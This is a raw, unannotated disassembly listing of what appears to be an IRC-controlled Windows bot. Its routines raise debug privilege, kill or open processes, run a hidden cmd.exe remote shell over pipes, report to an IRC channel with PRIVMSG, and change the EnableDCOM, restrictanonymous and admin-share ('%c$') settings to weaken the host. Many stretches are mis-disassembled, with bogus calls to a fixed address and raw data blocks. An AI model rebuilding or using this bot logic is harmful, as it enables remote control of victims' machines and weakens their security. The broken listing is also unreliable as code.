call ds:dword_42806C ; CloseHandle mov eax, esi pop esi leave retn sub_419828 endp ; --------------------------------------------------------------------------- loc_419893: ; CODE XREF: seg000:0040933Ep ; sub_419AB6+74p push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp ds:dword_4CDC18, ebx lea edi, [ebp-128h] mov [ebp-12Ch], ebx rep stosd mov ecx, 88h lea edi, [ebp-34Ch] mov [ebp-350h], ebx rep stosd jz loc_419A82 cmp ds:dword_4CDBFC, ebx jz loc_419A82 cmp ds:dword_4CDB0C, ebx jz loc_419A82 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419828 pop ecx pop ecx push ebx push 0Fh call ds:dword_4CDC18 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-4], edi jz loc_419A75 lea eax, [ebp-12Ch] mov dword ptr [ebp-12Ch], 128h push eax push edi call ds:dword_4CDBFC ; Process32First mov esi, ds:dword_42806C test eax, eax jz loc_419A70 lea eax, [ebp-12Ch] push eax push edi call ds:dword_4CDB0C ; Process32Next test eax, eax jz loc_419A70 mov ebx, ds:dword_428084 loc_419952: ; CODE XREF: seg000:00419A68j xor edi, edi cmp [ebp+18h], edi jz short loc_4199AF loc_419959: ; CODE XREF: seg000:00419976j push ds:off_43C358[edi] lea eax, [ebp-108h] push eax call ds:dword_428188 ; lstrcmpi test eax, eax jz short loc_41997D add edi, 4 cmp edi, 60h jb short loc_419959 jmp loc_419A56 ; --------------------------------------------------------------------------- loc_41997D: ; CODE XREF: seg000:0041996Ej push dword ptr [ebp-124h] push 0 push 1F0FFFh call ebx ; OpenProcess mov edi, eax test edi, edi jz loc_419A56 push 0 push edi call near ptr 0B10000h mov esp, 850FC085h scasd ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_4199A7: ; CODE XREF: seg000:00419A3Cj push edi call esi ; CloseHandle jmp loc_419A56 ; --------------------------------------------------------------------------- loc_4199AF: ; CODE XREF: seg000:00419957j cmp [ebp+14h], edi jnz loc_419A41 cmp [ebp+0Ch], edi jz loc_419A56 push dword ptr [ebp-124h] push 8 call ds:dword_4CDC18 ; CreateToolhelp32Snapshot cmp dword ptr [ebp+1Ch], 0 mov edi, eax mov dword ptr [ebp-350h], 224h jz short loc_419A01 lea eax, [ebp-350h] push eax push edi call ds:dword_4CDAB8 ; Module32First push dword ptr [ebp-124h] test eax, eax jz short loc_419A07 lea eax, [ebp-230h] jmp short loc_419A0D ; --------------------------------------------------------------------------- loc_419A01: ; CODE XREF: seg000:004199DFj push dword ptr [ebp-124h] loc_419A07: ; CODE XREF: seg000:004199F7j lea eax, [ebp-108h] loc_419A0D: ; CODE XREF: seg000:004199FFj push eax lea eax, [ebp-550h] push offset dword_43C504 push eax call sub_41BA76 add esp, 10h lea eax, [ebp-550h] push 1 push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_409966 add esp, 14h jmp loc_4199A7 ; --------------------------------------------------------------------------- loc_419A41: ; CODE XREF: seg000:004199B2j push dword ptr [ebp+14h] lea eax, [ebp-108h] push eax call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_419A89 loc_419A56: ; CODE XREF: seg000:00419978j ; seg000:00419990j ... lea eax, [ebp-12Ch] push eax push dword ptr [ebp-4] call ds:dword_4CDB0C ; Process32Next test eax, eax jnz loc_419952 xor ebx, ebx loc_419A70: ; CODE XREF: seg000:00419930j ; seg000:00419946j push dword ptr [ebp-4] call esi ; CloseHandle loc_419A75: ; CODE XREF: seg000:0041990Aj push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419828 pop ecx pop ecx loc_419A82: ; CODE XREF: seg000:004198CDj ; seg000:004198D9j ... xor eax, eax loc_419A84: ; CODE XREF: seg000:00419AB4j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: seg000:00419A54j push dword ptr [ebp-124h] push 0 push 1F0FFFh call ebx ; OpenProcess push dword ptr [ebp-4] mov edi, eax call esi ; CloseHandle push 0 push edi call near ptr 0B10000h xchg al, [ebp+570575C0h] call esi ; CloseHandle jmp short loc_419A82 ; --------------------------------------------------------------------------- xor eax, eax inc eax jmp short loc_419A84 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AB6 proc near ; DATA XREF: seg000:00404187o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43C558 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41BA76 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419B15 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409966 add esp, 14h loc_419B15: ; CODE XREF: sub_419AB6+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call loc_419893 add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_419B43 push offset unk_43C534 jmp short loc_419B48 ; --------------------------------------------------------------------------- loc_419B43: ; CODE XREF: sub_419AB6+84j push offset unk_43C510 loc_419B48: ; CODE XREF: sub_419AB6+8Bj push eax call sub_41BA76 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419B75 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409966 add esp, 14h loc_419B75: ; CODE XREF: sub_419AB6+9Dj lea eax, [ebp+var_298] push eax call sub_4152AE push [ebp+var_14] call sub_40B287 pop ecx pop ecx push esi call near ptr 0B10000h scasd pop edi pop esi sub_419AB6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419B94 proc far ; CODE XREF: seg000:004092DCp ; sub_40B0AC+4Dp push esi push edi push dword ptr [esp+0Ch] xor edi, edi inc edi push 0 push 1F0FFFh call near ptr 0B10000h retf 0F08Bh sub_419B94 endp ; --------------------------------------------------------------------------- dd 1674F685h, 0E856006Ah, 6F6448h, 75C08592h, 0FF335609h dd 806C15FFh, 0C78B0042h, 56C35E5Fh, 16AF633h, 56565656h dd 0FCB9E856h, 0C483FFFFh, 5035FF18h, 0FF0043C3h, 42806415h db 0, 0EBh, 0E3h ; =============== S U B R O U T I N E ======================================= sub_419BEB proc near ; CODE XREF: seg000:00419CD1p ; seg000:00419E3Bp mov eax, ds:dword_4DDE3C push esi mov esi, ds:dword_42806C cmp eax, 0FFFFFFFFh jz short loc_419BFF push eax call esi ; CloseHandle loc_419BFF: ; CODE XREF: sub_419BEB+Fj mov eax, ds:dword_4DDE44 cmp eax, 0FFFFFFFFh jz short loc_419C0C push eax call esi ; CloseHandle loc_419C0C: ; CODE XREF: sub_419BEB+1Cj mov eax, ds:dword_4DDE38 cmp eax, 0FFFFFFFFh jz short loc_419C19 push eax call esi ; CloseHandle loc_419C19: ; CODE XREF: sub_419BEB+29j pop esi retn sub_419BEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C1B proc near ; CODE XREF: seg000:00409016p var_17F68A40 = dword ptr -17F68A40h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B1D0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push ds:dword_4DDE40 call near ptr 0B10000h sbb eax, [ebp+var_17F68A40] mov eax, ds:33FFFFFFh ror cl, 0C3h xor eax, eax inc eax leave retn sub_419C1B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push offset dword_43FDB4 push dword ptr [ebp+0Ch] call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_419C96 push 7D0h call ds:dword_428064 ; Sleep push dword ptr [ebp+10h] lea eax, [ebp-200h] push dword ptr [ebp+0Ch] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41BA76 add esp, 10h jmp short loc_419CAD ; --------------------------------------------------------------------------- loc_419C96: ; CODE XREF: seg000:00419C6Dj push dword ptr [ebp+10h] lea eax, [ebp-200h] push offset aS_2 ; "%s" push eax call sub_41BA76 add esp, 0Ch loc_419CAD: ; CODE XREF: seg000:00419C94j lea eax, [ebp-200h] push 0 push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp-200h] push eax push dword ptr [ebp+8] call ds:dword_4CDC48 ; send test eax, eax jg short loc_419CD6 call sub_419BEB loc_419CD6: ; CODE XREF: seg000:00419CCFj xor eax, eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DDE48 push esi lea eax, [ebp-20Ch] push edi push eax call sub_41B780 add esp, 0Ch lea eax, [ebp-4] push edi push edi push eax lea eax, [ebp-20Ch] push esi push eax push ds:dword_4DDE3C call near ptr 0B10000h adc al, [ebp-647BF040h] ; --------------------------------------------------------------------------- dw 0 dd 0FC7D3900h, 458D2B75h, 35FF50F8h, 4DDE38h, 6F62C7E8h dd 0C0850A00h, 7D810D74h, 103F8h, 99850F00h, 6A000000h dd 6415FF0Ah, 0EB004280h, 39C0339Dh, 1076FC7Dh, 0F405BC80h dd 0AFFFFFDh, 3B405474h, 0F072FC45h, 56FC7589h, 0FDF4858Dh dd 5057FFFFh, 1A03E8h, 0CC48300h, 57F4458Dh, 0FC75FF50h dd 0FDF4858Dh, 0FF50FFFFh, 4DDE3C35h, 0E815FF00h, 85004280h dd 8D6D74C0h, 0FFFDF485h, 0FF5350FFh, 4DDE7C35h, 0FEA1E800h dd 0C483FFFFh, 0FF38E90Ch, 8940FFFFh, 0AFEBFC45h, 43C5E068h dd 35FF5300h, 4DDE7Ch, 0FFFE82E8h, 875FFFFh, 0FF14AEE8h dd 10C483FFh, 1DE8016Ah, 0E3006F62h, 0FFFE02E8h, 0C5B868FFh dd 0FF530043h, 4DDE7C35h, 0FE59E800h, 75FFFFFFh, 1485E808h dd 0C483FFFFh, 0F5E85710h, 34006F61h, 43C58868h, 35FF5300h dd 4DDE7Ch, 0FFFE36E8h, 875FFFFh, 0FF1462E8h, 10C483FFh dd 61D2E857h db 6Fh, 0, 12h ; --------------------------------------------------------------------------- loc_419E2F: ; CODE XREF: seg000:00403F81p push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419BEB xor esi, esi lea eax, [ebp-178h] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call ds:dword_4CDCB0 ; SearchPathA test eax, eax jz near ptr loc_419F24+5 lea eax, [ebp-1Ch] mov edi, ds:dword_428100 push esi push eax lea eax, [ebp-0Ch] xor ebx, ebx push eax lea eax, [ebp-10h] inc ebx push eax mov dword ptr [ebp-1Ch], 0Ch mov [ebp-14h], ebx mov [ebp-18h], esi call edi ; CreatePipe test eax, eax jz near ptr loc_419F24+5 lea eax, [ebp-1Ch] push esi push eax lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax call edi ; CreatePipe test eax, eax jz near ptr loc_419F24+5 mov edi, ds:dword_4280FC push 3 push esi push esi push offset dword_4DDE40 call edi ; GetCurrentProcess push eax push dword ptr [ebp-8] call edi ; GetCurrentProcess push eax call near ptr 0B10000h cli test eax, eax jz short near ptr loc_419F24+5 push 10h lea eax, [ebp-2Ch] push esi push eax call sub_41B780 push 44h lea eax, [ebp-74h] pop edi push edi push esi push eax call sub_41B780 mov eax, [ebp-4] add esp, 18h mov [ebp-3Ch], eax mov eax, [ebp-0Ch] mov [ebp-38h], eax mov [ebp-34h], eax lea eax, [ebp-2Ch] mov [ebp-74h], edi push eax lea eax, [ebp-74h] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43FDB4 push esi lea eax, [ebp-178h] push ebx push eax mov dword ptr [ebp-48h], 101h mov [ebp-44h], si call near ptr 0B10000h loc_419F24: ; CODE XREF: seg000:00419E5Ej ; seg000:00419E8Bj ... jnz near ptr 834A14EAh enter 0FFFFE9FFh, 0AEh ; --------------------------------------------------------------------------- dw 0 dd 0FC75FF00h, 806C3D8Bh, 0D7FF0042h, 0FFF0458Bh, 3CA3D875h dd 8B004DDEh, 44A3F845h, 8B004DDEh, 38A3D445h, 0FF004DDEh dd 8458BD7h, 0A30C7539h, 4DDE7Ch, 75FF0574h, 5301EB0Ch dd 4DDE4868h, 1B00E800h, 59590000h, 680A6A56h, 43C644h dd 0FF0FECE8h, 8BF88BFFh, 0FF69DC4Dh, 234h, 890CC483h dd 440B408Fh, 0D04D8D00h, 68505651h, 419CDAh, 15FF5656h dd 42807Ch, 8789C63Bh, 440B4Ch, 15FF2775h, 42808Ch, 88858D50h dd 68FFFFFCh, 43C610h, 1AA8E850h, 858D0000h, 0FFFFFC88h dd 0B2D4E850h, 0C483FFFFh, 5FC03310h, 0C3C95B5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FE4 proc near ; DATA XREF: seg000:0040490Eo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A02B call sub_41A044 jmp short loc_41A030 ; --------------------------------------------------------------------------- loc_41A02B: ; CODE XREF: sub_419FE4+3Ej call sub_41A36A loc_41A030: ; CODE XREF: sub_419FE4+45j add esp, 10h push [ebp+var_14] call sub_40B287 pop ecx push 0 call near ptr 0B10000h push es sub_419FE4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A044 proc near ; CODE XREF: sub_419FE4+40p ; seg000:0041A68Ep var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_4CDCC4, edi jnz loc_41A176 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_4CDC68 ; RegOpenKeyExA test eax, eax jnz short loc_41A0CF mov ax, ds:word_43B390 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_4CDC1C ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41A0B7 push offset dword_43C8E4 jmp short loc_41A0BC ; --------------------------------------------------------------------------- loc_41A0B7: ; CODE XREF: sub_41A044+6Aj push offset dword_43C8C4 loc_41A0BC: ; CODE XREF: sub_41A044+71j push eax call sub_41BA76 pop ecx pop ecx push [ebp+var_4] call ds:dword_4CDBD4 ; RegCloseKey jmp short loc_41A0E2 ; --------------------------------------------------------------------------- loc_41A0CF: ; CODE XREF: sub_41A044+36j lea eax, [ebp+var_214] push offset dword_43C894 push eax call sub_41BA76 pop ecx pop ecx loc_41A0E2: ; CODE XREF: sub_41A044+89j cmp [ebp+arg_C], edi jnz short loc_41A101 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A101: ; CODE XREF: sub_41A044+A1j lea eax, [ebp+var_214] push eax call sub_4152AE pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_4CDC68 ; RegOpenKeyExA test eax, eax jnz short loc_41A16F lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call ds:dword_4CDC1C ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41A157 push offset dword_43C844 jmp short loc_41A15C ; --------------------------------------------------------------------------- loc_41A157: ; CODE XREF: sub_41A044+10Aj push offset dword_43C810 loc_41A15C: ; CODE XREF: sub_41A044+111j push eax call sub_41BA76 pop ecx pop ecx push [ebp+var_4] call ds:dword_4CDBD4 ; RegCloseKey jmp short loc_41A189 ; --------------------------------------------------------------------------- loc_41A16F: ; CODE XREF: sub_41A044+E2j push offset dword_43C7D4 jmp short loc_41A17B ; --------------------------------------------------------------------------- loc_41A176: ; CODE XREF: sub_41A044+13j push offset dword_43C7A4 loc_41A17B: ; CODE XREF: sub_41A044+130j lea eax, [ebp+var_214] push eax call sub_41BA76 pop ecx pop ecx loc_41A189: ; CODE XREF: sub_41A044+129j cmp [ebp+arg_C], edi jnz short loc_41A1A8 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A1A8: ; CODE XREF: sub_41A044+148j lea eax, [ebp+var_214] push eax call sub_4152AE cmp ds:dword_4CDCEC, edi pop ecx jnz loc_41A325 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A1CB: ; CODE XREF: sub_41A044+2C5j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call ds:dword_4CDB3C cmp eax, edi mov [ebp+var_10], eax jz short loc_41A26A cmp eax, 0EAh jz short loc_41A26A xor esi, esi loc_41A1F9: ; CODE XREF: sub_41A044+21Fj push ds:off_43C66C[esi] push edi call sub_418E68 pop ecx pop ecx push ds:off_43C66C[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41A21E push offset dword_43C780 jmp short loc_41A223 ; --------------------------------------------------------------------------- loc_41A21E: ; CODE XREF: sub_41A044+1D1j push offset dword_43C754 loc_41A223: ; CODE XREF: sub_41A044+1D8j push 200h push eax call sub_41BB70 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A250 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A250: ; CODE XREF: sub_41A044+1F0j lea eax, [ebp+var_214] push eax call sub_4152AE add esi, 8 pop ecx cmp esi, 20h jb short loc_41A1F9 jmp loc_41A302 ; --------------------------------------------------------------------------- loc_41A26A: ; CODE XREF: sub_41A044+1AAj ; sub_41A044+1B1j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_41A2F9 loc_41A279: ; CODE XREF: sub_41A044+2B1j mov edi, [esi] push edi call sub_41DA37 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A2EE push edi call sub_418D55 push eax push 0 call sub_418E68 add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41A2AE push offset dword_43C730 jmp short loc_41A2B3 ; --------------------------------------------------------------------------- loc_41A2AE: ; CODE XREF: sub_41A044+261j push offset dword_43C704 loc_41A2B3: ; CODE XREF: sub_41A044+268j push 200h push eax call sub_41BB70 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A2E1 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A2E1: ; CODE XREF: sub_41A044+281j lea eax, [ebp+var_214] push eax call sub_4152AE pop ecx loc_41A2EE: ; CODE XREF: sub_41A044+244j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A279 xor edi, edi loc_41A2F9: ; CODE XREF: sub_41A044+22Fj push [ebp+var_8] call ds:dword_4CDC88 loc_41A302: ; CODE XREF: sub_41A044+221j cmp [ebp+var_10], 0EAh jz loc_41A1CB lea eax, [ebp+var_214] push offset dword_43C6DC push eax call sub_41BA76 pop ecx pop ecx pop ebx jmp short loc_41A338 ; --------------------------------------------------------------------------- loc_41A325: ; CODE XREF: sub_41A044+177j lea eax, [ebp+var_214] push offset dword_43C6AC push eax call sub_41BA76 pop ecx pop ecx loc_41A338: ; CODE XREF: sub_41A044+2DFj cmp [ebp+arg_C], edi jnz short loc_41A356 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A356: ; CODE XREF: sub_41A044+2F7j lea eax, [ebp+var_214] push eax call sub_4152AE pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_41A044 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A36A proc near ; CODE XREF: sub_419FE4:loc_41A02Bp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp ds:dword_4CDCC4, ebx push esi jnz loc_41A498 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_4CDC68 ; RegOpenKeyExA test eax, eax jnz short loc_41A3F5 mov ax, ds:word_43B3D4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_4CDC1C ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41A3DD push offset dword_43CA5C jmp short loc_41A3E2 ; --------------------------------------------------------------------------- loc_41A3DD: ; CODE XREF: sub_41A36A+6Aj push offset dword_43CA40 loc_41A3E2: ; CODE XREF: sub_41A36A+71j push eax call sub_41BA76 pop ecx pop ecx push [ebp+var_4] call ds:dword_4CDBD4 ; RegCloseKey jmp short loc_41A408 ; --------------------------------------------------------------------------- loc_41A3F5: ; CODE XREF: sub_41A36A+36j lea eax, [ebp+var_220] push offset dword_43C894 push eax call sub_41BA76 pop ecx pop ecx loc_41A408: ; CODE XREF: sub_41A36A+89j cmp [ebp+arg_C], ebx jnz short loc_41A427 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A427: ; CODE XREF: sub_41A36A+A1j lea eax, [ebp+var_220] push eax call sub_4152AE pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_4CDC68 ; RegOpenKeyExA test eax, eax jnz short loc_41A491 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call ds:dword_4CDC1C ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41A479 push offset dword_43CA00 jmp short loc_41A47E ; --------------------------------------------------------------------------- loc_41A479: ; CODE XREF: sub_41A36A+106j push offset dword_43C9C8 loc_41A47E: ; CODE XREF: sub_41A36A+10Dj push eax call sub_41BA76 pop ecx pop ecx push [ebp+var_4] call ds:dword_4CDBD4 ; RegCloseKey jmp short loc_41A4AB ; --------------------------------------------------------------------------- loc_41A491: ; CODE XREF: sub_41A36A+E2j push offset dword_43C98C jmp short loc_41A49D ; --------------------------------------------------------------------------- loc_41A498: ; CODE XREF: sub_41A36A+13j push offset dword_43C7A4 loc_41A49D: ; CODE XREF: sub_41A36A+12Cj lea eax, [ebp+var_220] push eax call sub_41BA76 pop ecx pop ecx loc_41A4AB: ; CODE XREF: sub_41A36A+125j cmp [ebp+arg_C], ebx jnz short loc_41A4CA push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A4CA: ; CODE XREF: sub_41A36A+144j lea eax, [ebp+var_220] push eax call sub_4152AE cmp ds:dword_4CDCEC, ebx pop ecx jnz loc_41A641 push edi xor esi, esi mov edi, 200h loc_41A4EB: ; CODE XREF: sub_41A36A+1EEj push ds:dword_43C670[esi] push ds:off_43C66C[esi] push ebx call sub_418DBC add esp, 0Ch push ds:off_43C66C[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_41A517 push offset dword_43C96C jmp short loc_41A51C ; --------------------------------------------------------------------------- loc_41A517: ; CODE XREF: sub_41A36A+1A4j push offset dword_43C944 loc_41A51C: ; CODE XREF: sub_41A36A+1ABj push edi push eax call sub_41BB70 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A545 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A545: ; CODE XREF: sub_41A36A+1BFj lea eax, [ebp+var_220] push eax call sub_4152AE add esi, 8 pop ecx cmp esi, 10h jb short loc_41A4EB call near ptr 0B10000h insd test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A629 loc_41A56D: ; CODE XREF: sub_41A36A+2B9j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A61E cmp bl, 41h jz loc_41A61E movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41BB70 push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41BB70 add esp, 20h lea eax, [ebp+var_20] push eax call ds:dword_4CDC58 ; GetDriveTypeA cmp eax, 3 jnz short loc_41A61E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418DBC add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_41A5E2 push offset dword_43C96C jmp short loc_41A5E7 ; --------------------------------------------------------------------------- loc_41A5E2: ; CODE XREF: sub_41A36A+26Fj push offset dword_43C944 loc_41A5E7: ; CODE XREF: sub_41A36A+276j push edi push eax call sub_41BB70 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A611 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A611: ; CODE XREF: sub_41A36A+28Bj lea eax, [ebp+var_220] push eax call sub_4152AE pop ecx loc_41A61E: ; CODE XREF: sub_41A36A+20Bj ; sub_41A36A+214j ... inc bl shr [ebp+var_4], 1 jnz loc_41A56D loc_41A629: ; CODE XREF: sub_41A36A+1FDj lea eax, [ebp+var_220] push offset dword_43C914 push eax call sub_41BA76 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A654 ; --------------------------------------------------------------------------- loc_41A641: ; CODE XREF: sub_41A36A+173j lea eax, [ebp+var_220] push offset dword_43C6AC push eax call sub_41BA76 pop ecx pop ecx loc_41A654: ; CODE XREF: sub_41A36A+2D5j cmp [ebp+arg_C], ebx jnz short loc_41A672 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_41A672: ; CODE XREF: sub_41A36A+2EDj lea eax, [ebp+var_220] push eax call sub_4152AE pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_41A36A endp ; --------------------------------------------------------------------------- loc_41A686: ; CODE XREF: seg000:0041A6A2j push 1 push 0 push 0 push 0 call sub_41A044 add esp, 10h push ds:dword_43C668 call ds:dword_428064 ; Sleep jmp short loc_41A686 ; =============== S U B R O U T I N E ======================================= sub_41A6A4 proc near ; CODE XREF: sub_41A89B+CBp ; sub_41A89B+DDp ... arg_0 = dword ptr 4 call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 pop ecx call sub_41BAD2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A6A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6BE proc near ; CODE XREF: sub_41A89B+D4p ; sub_41A89B+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B1D0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A897 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B780 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A9E8 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A897 push 50h call ds:dword_4CDBF8 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call ds:dword_4CDC78 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A897 lea ecx, [ebp+var_28] push 10h push ecx push eax call ds:dword_4CDBA0 ; connect cmp eax, 0FFFFFFFFh jz loc_41A897 push 32003h call sub_41D1B5 mov edi, 